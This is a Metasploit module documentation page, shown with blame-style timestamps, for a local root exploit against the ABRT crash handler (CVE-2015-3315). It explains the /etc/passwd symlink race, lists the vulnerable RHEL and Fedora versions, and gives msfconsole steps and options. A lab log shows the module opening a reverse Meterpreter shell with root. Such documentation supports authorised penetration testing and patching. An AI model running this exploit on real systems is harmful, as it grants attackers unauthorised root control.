2018-02-04 04:47:46 +00:00
|
|
|
## Description
|
|
|
|
|
|
2019-04-18 09:01:51 +00:00
|
|
|
This module attempts to gain root privileges on Linux systems with
|
|
|
|
|
a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
|
|
|
|
|
as the crash handler.
|
2018-02-04 04:47:46 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
## Vulnerable Application
|
|
|
|
|
|
2019-04-18 09:01:51 +00:00
|
|
|
A race condition allows local users to change ownership of arbitrary
|
|
|
|
|
files (CVE-2015-3315). This module uses a symlink attack on
|
|
|
|
|
`/var/tmp/abrt/*/maps` to change the ownership of `/etc/passwd`,
|
|
|
|
|
then adds a new user with UID=0 GID=0 to gain root privileges.
|
|
|
|
|
Winning the race could take a few minutes.
|
2018-02-04 04:47:46 +00:00
|
|
|
|
2019-04-18 09:01:51 +00:00
|
|
|
This module has been tested successfully on:
|
2018-02-04 04:47:46 +00:00
|
|
|
|
2019-04-18 09:01:51 +00:00
|
|
|
* abrt 2.1.11-12.el7 on RHEL 7.0 x86_64
|
|
|
|
|
* abrt 2.1.5-1.fc19 on Fedora Desktop 19 x86_64
|
|
|
|
|
* abrt 2.2.1-1.fc19 on Fedora Desktop 19 x86_64
|
|
|
|
|
* abrt 2.2.2-2.fc20 on Fedora Desktop 20 x86_64
|
|
|
|
|
* abrt 2.3.0-3.fc21 on Fedora Desktop 21 x86_64
|
2018-02-04 04:47:46 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
## Verification Steps
|
|
|
|
|
|
|
|
|
|
1. Start `msfconsole`
|
|
|
|
|
2. Get a session
|
|
|
|
|
3. Do: `use exploit/linux/local/abrt_raceabrt_priv_esc`
|
|
|
|
|
4. Do: `set SESSION [SESSION]`
|
|
|
|
|
5. Do: `check`
|
|
|
|
|
6. Do: `run`
|
|
|
|
|
7. You should get a new *root* session
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
## Options
|
|
|
|
|
|
|
|
|
|
**USERNAME**
|
|
|
|
|
|
|
|
|
|
Username for the new UID=0 user (default: random)
|
|
|
|
|
|
|
|
|
|
**SESSION**
|
|
|
|
|
|
|
|
|
|
Which session to use, which can be viewed with `sessions`
|
|
|
|
|
|
|
|
|
|
**WritableDir**
|
|
|
|
|
|
|
|
|
|
A writable directory file system path. (default: `/tmp`)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
## Scenarios
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
msf > use exploit/linux/local/abrt_raceabrt_priv_esc
|
|
|
|
|
msf exploit(linux/local/abrt_raceabrt_priv_esc) > set session 1
|
|
|
|
|
session => 1
|
|
|
|
|
msf exploit(linux/local/abrt_raceabrt_priv_esc) > run
|
|
|
|
|
|
|
|
|
|
[!] SESSION may not be compatible with this module.
|
|
|
|
|
[*] Started reverse TCP handler on 172.16.191.244:4444
|
|
|
|
|
[*] Writing '/tmp/.C17d3UYQy' (64240 bytes) ...
|
|
|
|
|
[*] Trying to own '/etc/passwd' - This might take a few minutes (Timeout: 900s) ...
|
|
|
|
|
[+] Success! '/etc/passwd' is writable
|
|
|
|
|
[*] Adding pauITBusGM user to /etc/passwd ...
|
|
|
|
|
[*] Writing '/tmp/.u8zOz4c' (207 bytes) ...
|
|
|
|
|
[*] Sending stage (857352 bytes) to 172.16.191.137
|
|
|
|
|
[*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.137:38938) at 2018-02-03 21:29:56 -0500
|
|
|
|
|
|
|
|
|
|
meterpreter > getuid
|
|
|
|
|
Server username: uid=0, gid=0, euid=0, egid=0
|
|
|
|
|
meterpreter > sysinfo
|
|
|
|
|
Computer : localhost.localdomain
|
|
|
|
|
OS : Fedora 20 (Linux 3.19.8-100.fc20.x86_64)
|
|
|
|
|
Architecture : x64
|
|
|
|
|
BuildTuple : i486-linux-musl
|
|
|
|
|
Meterpreter : x86/linux
|
|
|
|
|
meterpreter >
|
|
|
|
|
```
|
|
|
|
|
|
